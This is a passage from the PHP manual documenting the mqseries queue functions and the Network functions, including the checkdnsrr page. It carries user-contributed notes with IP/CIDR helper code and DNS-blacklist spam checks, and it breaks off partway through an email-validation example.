  • mqseries_connx() - MQSeries MQCONNX

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQGET

  • « mqseries_disc
  • mqseries_inq »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQGET

mqseries_get

(PECL mqseries >= 0.10.0)

mqseries_get — MQSeries MQGET

Description

void mqseries_get ( resource $hConn , resource $hObj , array &$md , array &$gmo , int &$bufferLength , string &$msg , int &$data_length , resource &$compCode , resource &$reason )

The mqseries_get() (MQGET) call retrieves a message from a local queue that has been opened using the mqseries_open() (MQOPEN) call

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

gmo

Get message options (MQGMO).

bufferLength

Expected length of the result buffer

msg

Buffer holding the message that was retrieved from the object.

data_length

Actual buffer length

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_get() example

<?php
// open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connection to the testq queue
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

// setup empty message descriptor.
    $mdg = array();
// setup get message options
    $gmo = array('Options' => MQSERIES_MQGMO_FAIL_IF_QUIESCING | MQSERIES_MQGMO_WAIT, 'WaitInterval' => 3000);

// get the message from the queueu
    mqseries_get($conn, $obj, $mdg, $gmo, 255, $msg, $data_length, $comp_code, $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("GET CompCode:%d Reason:%d Text:%s<br>", $comp_code, $reason, mqseries_strerror($reason));
    }

 // open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connection to the testq queue
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_put() - MQSeries MQPUT

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQINQ

  • « mqseries_get
  • mqseries_open »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQINQ

mqseries_inq

(PECL mqseries >= 0.10.0)

mqseries_inq — MQSeries MQINQ

Description

void mqseries_inq ( resource $hconn , resource $hobj , int $selectorCount , array $selectors , int $intAttrCount , resource &$intAttr , int $charAttrLength , resource &$charAttr , resource &$compCode , resource &$reason )

The mqseries_inq() (MQINQ) call returns an array of integers and a set of character strings containing the attributes of an object.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

selectorCount

Count of selectors.

selectors

Array of attribute selectors.

intAttrLength

Count of integer attributes.

intAttr

Array of integer attributes.

charAttrLength

Length of character attributes buffer.

charAttr

Character attributes.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_inq() example

<?php
    $int_attr = array();
    $char_attr = "";

    mqseries_inq($conn, $obj, 1, array(MQSERIES_MQCA_Q_MGR_NAME), 0, $int_attr, 48, $char_attr, $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("INQ CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    } else {
        echo "INQ QManager name result ".$char_attr."<br>\n";
    }
?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQOPEN

  • « mqseries_inq
  • mqseries_put1 »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQOPEN

mqseries_open

(PECL mqseries >= 0.10.0)

mqseries_open — MQSeries MQOPEN

Description

void mqseries_open ( resource $hconn , array &$objDesc , int $option , resource &$hobj , resource &$compCode , resource &$reason )

The mqseries_open() (MQOPEN) call establishes access to an object.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

options

Options that control the action of the function.

hObj

Object handle.

This handle represents the object to be used.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_open() example

<?php
    $mqods = array('ObjectName' => 'TESTQ');
    mqseries_open(
                $conn,
                $mqods,
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

See Also

  • mqseries_close() - MQSeries MQCLOSE

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT1

  • « mqseries_open
  • mqseries_put »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQPUT1

mqseries_put1

(PECL mqseries >= 0.10.0)

mqseries_put1 — MQSeries MQPUT1

Description

void mqseries_put1 ( resource $hconn , resource &$objDesc , resource &$msgDesc , resource &$pmo , string $buffer , resource &$compCode , resource &$reason )

The mqseries_put1() (MQPUT1) call puts one message on a queue. The queue need not be open.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

objDesc

Object descriptor. (MQOD)

This is a structure which identifies the queue to which the message is added.

msgDesc

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQPUT

  • « mqseries_put1
  • mqseries_set »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQPUT

mqseries_put

(PECL mqseries >= 0.10.0)

mqseries_put — MQSeries MQPUT

Description

void mqseries_put ( resource $hConn , resource $hObj , array &$md , array &$pmo , string $message , resource &$compCode , resource &$reason )

The mqseries_put() (MQPUT) call puts a message on a queue or distribution list. The queue or distribution list must already be open.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

hObj

Object handle.

This handle represents the object to be used.

md

Message descriptor (MQMD).

pmo

Put message options (MQPMO).

message

The actual message to put onto the queue.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

Examples

Example #1 mqseries_put() example

<?php
// open connection to the queue manager
    mqseries_conn('WMQ1', $conn, $comp_code, $reason);
// $conn now hold the reference to the connection to the queue manager.

// open the connectio to the testq queueu
    mqseries_open(
                $conn,
                array('ObjectName' => 'TESTQ'),
                MQSERIES_MQOO_INPUT_AS_Q_DEF | MQSERIES_MQOO_FAIL_IF_QUIESCING | MQSERIES_MQOO_OUTPUT,
                $obj,
                $comp_code,
                $reason);
// $obj now holds the reference to the object (TESTQ)

// setup the message descriptor array. Check MQSeries reference manuals.
    $md = array(
                'Version' => MQSERIES_MQMD_VERSION_1,
                'Expiry' => MQSERIES_MQEI_UNLIMITED,
                'Report' => MQSERIES_MQRO_NONE,
                'MsgType' => MQSERIES_MQMT_DATAGRAM,
                'Format' => MQSERIES_MQFMT_STRING,
                'Priority' => 1,
                'Persistence' => MQSERIES_MQPER_PERSISTENT);

// setup the put message options.
    $pmo = array('Options' => MQSERIES_MQPMO_NEW_MSG_ID|MQSERIES_MQPMO_SYNCPOINT);

// put the message 'Ping' on the queueu.
    mqseries_put($conn, $obj, $md, $pmo, 'Ping', $comp_code, $reason);

    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("put CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
    }

// close the object reference $obj
    mqseries_close($conn, $obj, MQSERIES_MQCO_NONE, $comp_code, $reason);

// disconnect from the queue manager.
    mqseries_disc($conn, $comp_code, $reason);

?>

See Also

  • mqseries_conn() - MQSeries MQCONN
  • mqseries_connx() - MQSeries MQCONNX
  • mqseries_open() - MQSeries MQOPEN
  • mqseries_get() - MQSeries MQGET

User Contributed Notes

There are no user contributed notes for this page.


MQSeries MQSET

  • « mqseries_put
  • mqseries_strerror »
  • PHP Manual
  • mqseries Functions
  • MQSeries MQSET

mqseries_set

(PECL mqseries >= 0.10.0)

mqseries_set — MQSeries MQSET

Description

void mqseries_set ( resource $hconn , resource $hobj , int $selectorcount , array $selectors , int $intattrcount , array $intattrs , int $charattrlength , array $charattrs , resource &$compCode , resource &$reason )

The mqseries_set() (MQSET) call is used to change the attributes of an object represented by a handle. The object must be a queue.

Parameters

hConn

Connection handle.

This handle represents the connection to the queue manager.

compCode

Completion code.

reason

Reason code qualifying the compCode.

Return Values

No value is returned.

See Also

  • mqseries_inq() - MQSeries MQINQ

User Contributed Notes

There are no user contributed notes for this page.


Returns the error message corresponding to a result code (MQRC).

  • « mqseries_set
  • Network »
  • PHP Manual
  • mqseries Functions
  • Returns the error message corresponding to a result code (MQRC).

mqseries_strerror

(PECL mqseries >= 0.10.0)

mqseries_strerror — Returns the error message corresponding to a result code (MQRC).

Description

string mqseries_strerror ( int $reason )

mqseries_strerror() returns the message that correspond to the reason result code.

Parameters

reason

Reason code qualifying the compCode.

Return Values

string representation of the reason code message.

Examples

Example #1 mqseries_strerror() example

<?php
    if ($comp_code !== MQSERIES_MQCC_OK) {
        printf("open CompCode:%d Reason:%d Text:%s<br>\n", $comp_code, $reason, mqseries_strerror($reason));
        exit;
    }
?>

The above example will output:

Connx CompCode:2 Reason:2059 Text:Queue manager not available for connection.

User Contributed Notes

j dot romero dot 1214 at gmail dot com 05-Jan-2013 12:03
There might be some error codes missing from the package depending on the MQ client version you are using. To prevent further versions from returning an empty error message simply use a function such as:

<?php
    //... wrapper class ...

    public function getErrorMessage ($errorCode) {
        $errorString = mqseries_strerror($errorCode);
        if (!empty($errorString)) {
            return $errorString;
        } else {
            switch ($errorCode) {
                // insert missing codes here
                case 2537:
                    return "Channel is not available.";
                case 2538:
                    return "Host is not available.";
                case 2539:
                    return "Channel configuration error.";
                case 2540:
                    return "Channel name is unknown.";
                default:
                    return "Unexpected error ({$errorCode})";
            }
        }
    }

    // ... wrapper class ...
?>


Network

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Network Functions
    • checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address
    • closelog — Close connection to system logger
    • define_syslog_variables — Initializes all syslog related variables
    • dns_check_record — Alias of checkdnsrr
    • dns_get_mx — Alias of getmxrr
    • dns_get_record — Fetch DNS Resource Records associated with a hostname
    • fsockopen — Open Internet or Unix domain socket connection
    • gethostbyaddr — Get the Internet host name corresponding to a given IP address
    • gethostbyname — Get the IPv4 address corresponding to a given Internet host name
    • gethostbynamel — Get a list of IPv4 addresses corresponding to a given Internet host name
    • gethostname — Gets the host name
    • getmxrr — Get MX records corresponding to a given Internet host name
    • getprotobyname — Get protocol number associated with protocol name
    • getprotobynumber — Get protocol name associated with protocol number
    • getservbyname — Get port number associated with an Internet service and protocol
    • getservbyport — Get Internet service which corresponds to port and protocol
    • header_register_callback — Call a header function
    • header_remove — Remove previously set headers
    • header — Send a raw HTTP header
    • headers_list — Returns a list of response headers sent (or ready to send)
    • headers_sent — Checks if or where headers have been sent
    • http_response_code — Get or Set the HTTP response code
    • inet_ntop — Converts a packed internet address to a human readable representation
    • inet_pton — Converts a human readable IP address to its packed in_addr representation
    • ip2long — Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
    • long2ip — Converts an (IPv4) Internet network address into a string in Internet standard dotted format
    • openlog — Open connection to system logger
    • pfsockopen — Open persistent Internet or Unix domain socket connection
    • setcookie — Send a cookie
    • setrawcookie — Send a cookie without urlencoding the cookie value
    • socket_get_status — Alias of stream_get_meta_data
    • socket_set_blocking — Alias of stream_set_blocking
    • socket_set_timeout — Alias of stream_set_timeout
    • syslog — Generate a system log message

User Contributed Notes

There are no user contributed notes for this page.


Introduction

Provides various networking functions.

User Contributed Notes

There are no user contributed notes for this page.


Requirements

Functions checkdnsrr(), getmxrr() and dns_get_record() requires Bind on Linux.

User Contributed Notes

There are no user contributed notes for this page.


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Network Configuration Options
Name | Default | Changeable | Changelog
define_syslog_variables | "0" | PHP_INI_ALL | Deprecated in PHP 5.3.0. Removed in PHP 5.4.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

define_syslog_variables boolean

Whether or not to define the various syslog variables (e.g. $LOG_PID, $LOG_CRON, etc.). Turning it off is a good idea performance-wise. At runtime, you can define these variables by calling define_syslog_variables().

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a file pointer resource returned by fsockopen() and pfsockopen().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are always available as part of the PHP core.

openlog() Options
Constant | Description
LOG_CONS | if there is an error while sending data to the system logger, write directly to the system console
LOG_NDELAY | open the connection to the logger immediately
LOG_ODELAY | (default) delay opening the connection until the first message is logged
LOG_NOWAIT |
LOG_PERROR | print log message also to standard error
LOG_PID | include PID with each message
openlog() Facilities
Constant | Description
LOG_AUTH | security/authorization messages (use LOG_AUTHPRIV instead in systems where that constant is defined)
LOG_AUTHPRIV | security/authorization messages (private)
LOG_CRON | clock daemon (cron and at)
LOG_DAEMON | other system daemons
LOG_KERN | kernel messages
LOG_LOCAL0 ... LOG_LOCAL7 | reserved for local use, these are not available in Windows
LOG_LPR | line printer subsystem
LOG_MAIL | mail subsystem
LOG_NEWS | USENET news subsystem
LOG_SYSLOG | messages generated internally by syslogd
LOG_USER | generic user-level messages
LOG_UUCP | UUCP subsystem
syslog() Priorities (in descending order)
Constant | Description
LOG_EMERG | system is unusable
LOG_ALERT | action must be taken immediately
LOG_CRIT | critical conditions
LOG_ERR | error conditions
LOG_WARNING | warning conditions
LOG_NOTICE | normal, but significant, condition
LOG_INFO | informational message
LOG_DEBUG | debug-level message
dns_get_record() Options
Constant | Description
DNS_A | IPv4 Address Resource
DNS_MX | Mail Exchanger Resource
DNS_CNAME | Alias (Canonical Name) Resource
DNS_NS | Authoritative Name Server Resource
DNS_PTR | Pointer Resource
DNS_HINFO | Host Info Resource (See IANA's » Operating System Names for the meaning of these values)
DNS_SOA | Start of Authority Resource
DNS_TXT | Text Resource
DNS_ANY | Any Resource Record. On most systems this returns all resource records, however it should not be counted upon for critical uses. Try DNS_ALL instead.
DNS_AAAA | IPv6 Address Resource
DNS_ALL | Iteratively query the name server for each available record type.

User Contributed Notes

There are no user contributed notes for this page.


Network Functions

Table of Contents

  • checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address
  • closelog — Close connection to system logger
  • define_syslog_variables — Initializes all syslog related variables
  • dns_check_record — Alias of checkdnsrr
  • dns_get_mx — Alias of getmxrr
  • dns_get_record — Fetch DNS Resource Records associated with a hostname
  • fsockopen — Open Internet or Unix domain socket connection
  • gethostbyaddr — Get the Internet host name corresponding to a given IP address
  • gethostbyname — Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel — Get a list of IPv4 addresses corresponding to a given Internet host name
  • gethostname — Gets the host name
  • getmxrr — Get MX records corresponding to a given Internet host name
  • getprotobyname — Get protocol number associated with protocol name
  • getprotobynumber — Get protocol name associated with protocol number
  • getservbyname — Get port number associated with an Internet service and protocol
  • getservbyport — Get Internet service which corresponds to port and protocol
  • header_register_callback — Call a header function
  • header_remove — Remove previously set headers
  • header — Send a raw HTTP header
  • headers_list — Returns a list of response headers sent (or ready to send)
  • headers_sent — Checks if or where headers have been sent
  • http_response_code — Get or Set the HTTP response code
  • inet_ntop — Converts a packed internet address to a human readable representation
  • inet_pton — Converts a human readable IP address to its packed in_addr representation
  • ip2long — Converts a string containing an (IPv4) Internet Protocol dotted address into a proper address
  • long2ip — Converts an (IPv4) Internet network address into a string in Internet standard dotted format
  • openlog — Open connection to system logger
  • pfsockopen — Open persistent Internet or Unix domain socket connection
  • setcookie — Send a cookie
  • setrawcookie — Send a cookie without urlencoding the cookie value
  • socket_get_status — Alias of stream_get_meta_data
  • socket_set_blocking — Alias of stream_set_blocking
  • socket_set_timeout — Alias of stream_set_timeout
  • syslog — Generate a system log message

User Contributed Notes

David GASTALDIN 21-Jun-2007 05:12
Here a IP-Range to CIDRs function that I wrote for the purpose of filling my Postfix client.cidr with ripe-ncc data to block spamming from useless countries. Strcmp functions are meant to work around the silly PHP string comparison which inevitably tries compare strings as numbers when possible. I'll make no comment about that fact ... bit I have to bite my tong hard :

function PlageVersCIDRs($ip_min, $ip_max) {
    $cidrs = array();
    $ip_min_bin = sprintf('%032b', $ip_min);
    $ip_max_bin = sprintf('%032b', $ip_max);
    $ip_cour_bin = $ip_min_bin;
    while (strcmp($ip_cour_bin, $ip_max_bin) <= 0) {
        $lng_reseau = 32;
        $ip_reseau_bin = $ip_cour_bin;
        while (($ip_cour_bin[$lng_reseau - 1] == '0') && (strcmp(substr_replace($ip_reseau_bin, '1', $lng_reseau - 1, 1), $ip_max_bin) <= 0)) {
            $ip_reseau_bin[$lng_reseau - 1] = '1';
            $lng_reseau--;
        }
        $cidrs[] = long2ip(bindec($ip_cour_bin)).'/'.$lng_reseau;
        $ip_cour_bin = sprintf('%032b', bindec($ip_reseau_bin) + 1);
    }
    return $cidrs;
}
claudiu at cnixs dot com 22-Apr-2007 11:52
A simple and very fast function to check against CIDR.

Your previous examples are too complicated and involves a lot of functions call.

Here it is (only with arithmetic operators and call only to ip2long () and split() ):
<?php
  function ipCIDRCheck ($IP, $CIDR) {
    list ($net, $mask) = split ("/", $CIDR);

    $ip_net = ip2long ($net);
    $ip_mask = ~((1 << (32 - $mask)) - 1);

    $ip_ip = ip2long ($IP);

    $ip_ip_net = $ip_ip & $ip_mask;

    return ($ip_ip_net == $ip_net);
  }
?>
call example: <?php echo ipCheck ("192.168.1.23", "192.168.1.0/24"); ?>
dand at ddchosting.com 08-Apr-2006 11:28
When I was working on a project I ran into this problem with redirecting. My solution is as follows:
header("Refresh: 5; url=../main/main.php?".session_id()."");

This allowed me to pass the session_id() which is used throughout site to make sure user has loged in.
I hope this helps!
metator at netcabo dot pt 28-Jul-2005 05:22
Regarding samuele's note:

You can get faster code if you apply directly what happens in  network devices, such as routers. If you AND (logic operation) the remote ip against the local netmask the result will be the network ip if the remote ip is from the local network. Example:

    192.168.0.16 = 11000000.10101000.00000000.00010000
& 255.255.255.0 = 11111111.11111111.11111111.00000000
--------------------------------------------------------------
   192.168.0.0 = 11000000.10101000.00000000.00000000

And now the code. My example uses a html form where you place the values you want to test:

<HTML><HEAD><TITLE>Check IP</TITLE>
</HEAD><BODY>
    <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

Hope you find this useful.
        IP to check: <input type="text" name="ip"> <br>
        Local network ip: <input type="text" name="net"> <br>
        Local netmask: <input type="text" name="mask"> <br>
        <input type="submit" name="check" value="Check it!">
    </form>
    <?php

/**
 * @param string $ip IP to check in dotted decimal format
 * @param string $net Network IP in dotted decimal format
 * @param string $mask Netmask in dotted decimal format
 * @returns true if the ip belongs to the network, false otherwise
 **/
function isIPIn($ip, $net, $mask) {
    //doesn't check for the return value of ip2long
    $ip = ip2long($_POST['ip']);
    $rede = ip2long($_POST['net']);
    $mask = ip2long($_POST['mask']);

    //AND
    $res = $ip & $mask;

    return ($res == $rede);
}

if (isset($_POST['check'])) {
     echo isIPIn($_POST['ip'], $_POST['net'], $_POST['mask']) ? "IP IN.": "IP OUT.";
}
 ?>
</BODY><HTML>
nexxer at rogers dot com 25-Feb-2005 02:16
In Trevor Hemsley's translation of the perl range2cidr function, the

while ($end > $start)

condition should be

while ($end >= $start)

otherwise it won't work for /32s, ie if you feed range2cidr("1.2.3.4", "1.2.3.4").

-- nex
samuele at norsam dot org 25-Nov-2003 06:01
To find if an IP is in a net/mask (very fast):
<?php
function isIPIn($ip,$net,$mask) {
   $lnet=ip2long($net);
   $lip=ip2long($ip);
   $binnet=str_pad( decbin($lnet),32,"0","STR_PAD_LEFT" );
   $firstpart=substr($binnet,0,$mask);
   $binip=str_pad( decbin($lip),32,"0","STR_PAD_LEFT" );
   $firstip=substr($binip,0,$mask);
   return(strcmp($firstpart,$firstip)==0);
   }
?>

This function can be compacted, avoiding some variable settings, but the function will not be too clear to read...
Example code, used to made a kind of location service network-based:

<?php
$n = array ( "192.168.0.0/16"   => "TUSCANY",
             "192.168.1.0/24"   => "- Florence",
             "192.168.2.0/24"   => "- Pisa",
             "192.168.3.0/24"   => "- Siena",
             "192.168.64.0/21" => "- Tuscan Archipelago",
             "192.168.64.0/23" => "--- Elba Island",
             "192.168.66.0/24" => "--- Capraia Island",
             "192.168.67.0/24" => "--- Giannutri Island");

// Normally you should use the following line
$myip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
// This is first example: returns Tuscany/Pisa
$myip = "192.168.2.33";
// This is second example: returns Tuscany/T.Arch./Elba
$myip = "192.168.65.34";

echo "Your position:<br />\n";
foreach ( $n as $k=>$v ) {
   list($net,$mask)=split("/",$k);
   if (isIPIn($myip,$net,$mask)) {
       echo $n[$k]."<br />\n"; }
   }
?>

and so on...
anderson at piq dot com dot br 07-Aug-2003 07:10
If you want to get the interface of an IP, based on the local route table, use this.

function GetIfaceforIP($user_ip)
{
    $route = "/bin/netstat -rn";

    exec($route, $aoutput);
    foreach($aoutput as $key => $line)
    {
        if($key > 1)
        {
            $line = ereg_replace("[[:space:]]+",",",$line);
            list($network, $gateway, $mask, $flags, $mss, $window, $irtt, $iface) = explode(",", $line)
            if((ip2long($user_ip) & ip2long($mask)) == ip2long($network))
            {
                return $iface;
            }
        }
    }
}
03-Apr-2003 05:11
Alternative cidr_conv function - a little easier to follow

function cidr_conv($cidr_address) {
  $first = substr($cidr_address, 0, strpos($cidr_address, "/"));
  $netmask = substr(strstr($cidr_address, "/"), 1);

  $first_bin = str_pad(decbin(ip2long($first)), 32, "0", STR_PAD_LEFT);
  $netmask_bin = str_pad(str_repeat("1", (integer)$netmask), 32, "0", STR_PAD_RIGHT);

  for ($i = 0; $i < 32; $i++) {
    if ($netmask_bin[$i] == "1")
      $last_bin .= $first_bin[$i];
    else
      $last_bin .= "1";
  }

  $last = long2ip(bindec($last_bin));

  return "$first - $last";
}
trevor-hemsley at nospam dot dial dot pipex dot com 16-Oct-2002 08:53
Previous example of IP range to CIDR list does not cope with ranges as well as the perl Net::Netmask range2cidrlist() function. In PHP this looks like

<?
function imask($this)
{
// use base_convert not dechex because dechex is broken and returns 0x80000000 instead of 0xffffffff
return base_convert((pow(2,32) - pow(2, (32-$this)))), 10, 16);
}

function imaxblock($ibase, $tbit)
{
while ($tbit > 0)
{
$im = hexdec(imask($tbit-1));
$imand = $ibase & $im;
if ($imand != $ibase)
{
break;
}
$tbit--;
}
return $tbit;
}

function range2cidrlist($istart, $iend)
{
// this function returns an array of cidr lists that map the range given
$s = explode(".", $istart);
// PHP ip2long does not handle leading zeros on IP addresses! 172.016 comes back as 172.14, seems to be treated as octal!
$start = "";
$dot = "";
while (list($key,$val) = each($s))
{
$start = sprintf("%s%s%d",$start,$dot,$val);
$dot = ".";
}
$end = "";
$dot = "";
$e = explode(".",$iend);
while (list($key,$val) = each($e))
{
$end = sprintf("%s%s%d",$end,$dot,$val);
$dot = ".";
}
$start = ip2long($start);
$end = ip2long($end);
$result = array();
while ($end > $start)
{
$maxsize = imaxblock($start,32);
$x = log($end - $start + 1)/log(2);
$maxdiff = floor(32 - floor($x));
$ip = long2ip($start);
if ($maxsize < $maxdiff)
{
$maxsize = $maxdiff;
}
array_push($result,"$ip/$maxsize");
$start += pow(2, (32-$maxsize));
}
return $result;
}
?>
philippe-at-cyberabuse.org 13-Oct-2002 12:49
... and this one will do the opposite (o return NULL for invalid netblocks) :

1.0.0.0 1.0.255.255 -> 1.0.0.0/16
1.0.0.0 1.3.255.255 -> 1.0.0.0/14
192.168.0.0 192.168.0.255 -> 192.168.0.0/24

function ip2cidr($ip_start,$ip_end) {
if(long2ip(ip2long($ip_start))!=$ip_start or long2ip(ip2long($ip_end))!=$ip_end) return NULL;
$ipl_start=(int)ip2long($ip_start);
$ipl_end=(int)ip2long($ip_end);
if($ipl_start>0 && $ipl_end<0) $delta=($ipl_end+4294967296)-$ipl_start;
else $delta=$ipl_end-$ipl_start;
$netmask=str_pad(decbin($delta),32,"0","STR_PAD_LEFT");
if(ip2long($ip_start)==0 && substr_count($netmask,"1")==32) return "0.0.0.0/0";
if($delta<0 or ($delta>0 && $delta%2==0)) return NULL;
for($mask=0;$mask<32;$mask++) if($netmask[$mask]==1) break;
if(substr_count($netmask,"0")!=$mask) return NULL;
return "$ip_start/$mask";
}
philippe-at-cyberabuse.org 15-Dec-2001 04:46
PHP miss CIDR functions.

This one will convert a CIDR like this:
0.0.0.0/16 -> 0.0.0.0 - 0.0.255.255
127.0/16 -> 127.0.0.0 - 127.0.255.255
etc...

function cidrconv($net) {
$start=strtok($net,"/");
$n=3-substr_count($net, ".");
if ($n>0) { for ($i=$n;$i>0;$i--) $start.=".0"; }
$bits1=str_pad(decbin(ip2long($start)),32,"0","STR_PAD_LEFT");
$net=pow(2,(32-substr(strstr($net,"/"),1)))-1;
$bits2=str_pad(decbin($net),32,"0","STR_PAD_LEFT");
for ($i=0;$i<32;$i++) {
if ($bits1[$i]==$bits2[$i]) $final.=$bits1[$i];
if ($bits1[$i]==1 and $bits2[$i]==0) $final.=$bits1[$i];
if ($bits1[$i]==0 and $bits2[$i]==1) $final.=$bits2[$i];
}
return $start." - ".long2ip(bindec($final));
}


Check DNS records corresponding to a given Internet host name or IP address

  • « Network Functions
  • closelog »
  • PHP Manual
  • Network Functions
  • Check DNS records corresponding to a given Internet host name or IP address

checkdnsrr

(PHP 4, PHP 5)

checkdnsrr — Check DNS records corresponding to a given Internet host name or IP address

Description

bool checkdnsrr ( string $host [, string $type = "MX" ] )

Searches DNS for records of type type corresponding to host.

Parameters

host

host may either be the IP address in dotted-quad notation or the host name.

type

type may be any one of: A, MX, NS, SOA, PTR, CNAME, AAAA, A6, SRV, NAPTR, TXT or ANY.

Return Values

Returns TRUE if any records are found; returns FALSE if no records were found or if an error occurred.

Changelog

Version | Description
5.3.0 | This function is now available on Windows platforms.
5.2.4 | TXT type was added.

Notes

Note:

For compatibility with Windows before this was implemented, then try the » PEAR class » Net_DNS.

See Also

  • dns_get_record() - Fetch DNS Resource Records associated with a hostname
  • getmxrr() - Get MX records corresponding to a given Internet host name
  • gethostbyaddr() - Get the Internet host name corresponding to a given IP address
  • gethostbyname() - Get the IPv4 address corresponding to a given Internet host name
  • gethostbynamel() - Get a list of IPv4 addresses corresponding to a given Internet host name
  • the named(8) manual page

User Contributed Notes

Krisztin Ferenczi 27-Oct-2013 08:12
criffoh at gmail dot com is right. Before you check domain, you must convert to ascii with idn_to_ascii function:
http://us2.php.net/manual/en/function.idn-to-ascii.php .

var_dump(checkdnsrr('ñandu.cl', 'A')); // returns false
var_dump(checkdnsrr(idn_to_ascii('ñandu.cl'), 'A')); // return true
criffoh at gmail dot com 18-Jul-2013 11:57
Is not possible validate domains with 'ñ' for my country.

In my country is possible to register domain using 'ñ' character. For example:

ñandu.cl
http://nic.cl/cgi-bin/dom-CL?q=%F1andu

If I use this function to check DNS record, it return false, but the domain already exists:

var_dump(checkdnsrr('ñandu.cl', 'A')); // returns false
12-Dec-2006 01:06
<?php
function check_dnsbl($ip)
{
    $dnsbl_check=array("bl.spamcop.net","list.dsbl.org",
"sbl.spamhaus.org",'xbl.spamhaus.org');
    if($ip){
        $rip=implode('.',array_reverse(explode(".",$ip)));
        foreach($dnsbl_check as $val){
            if(checkdnsrr($rip.'.'.$val.'.','A'))
                return $rip.'.'.$val;
        }
    }
    return false;
}
?>
satmd 28-Jan-2006 05:29
fox dot 69 at gmx dot net: I wonder where you got this code from. I have written this piece of code half a year ago and released it WITH a copyright header that is missing now! Anyways... this code is to be considered licenced "as-is", however it'd be nice to keep the authors note (This is something about reputation, you see?). Thanks.

(Much) more recent version of it:
<?php
function is_blacklisted($ip) {
   // written by satmd, do what you want with it, but keep the author please
   $result=Array();
   $dnsbl_check=array("bl.spamcop.net",
                       "list.dsbl.org",
                       "sbl.spamhaus.org");
   if ($ip) {
       $quads=explode(".",$ip);
       $rip=$quads[3].".".$quads[2].".".$quads[1].".".$quads[0];
       for ($i=0; $i<count($dnsbl_check); $i++) {
           if (checkdnsrr($rip.".".$dnsbl_check[$i].".","A")) {
              $result[]=Array($dnsbl_check[$i],$rip.".".$dnsbl_check[$i]);
           }
         }
      return $result;
   }
}
?>

Beware that this code's signature differs from the original! I also removed osirusoft as its results are not useful anyways (false positives!). Please make sure that you have nscd or a caching dns server running as this code is prone to (d)dos! Only use it in places where it is necessary (when data is to be modified), e.g. the script processing uploads/posts/replies in a blog.
Patrick 14-Dec-2004 04:53
This is a little code example that will validate an email address in two ways:
- first the general syntax of the string is checked with a regular expression
- then the domain substring (after the '@') is checked using the 'checkdnsrr' function

<?php

function validate_email($email){

   $exp = "^[a-z\'0-9]+([._-][a-z\'0-9]+)*@([a-z0-9]+([._-][a-z0-9]+))+$";

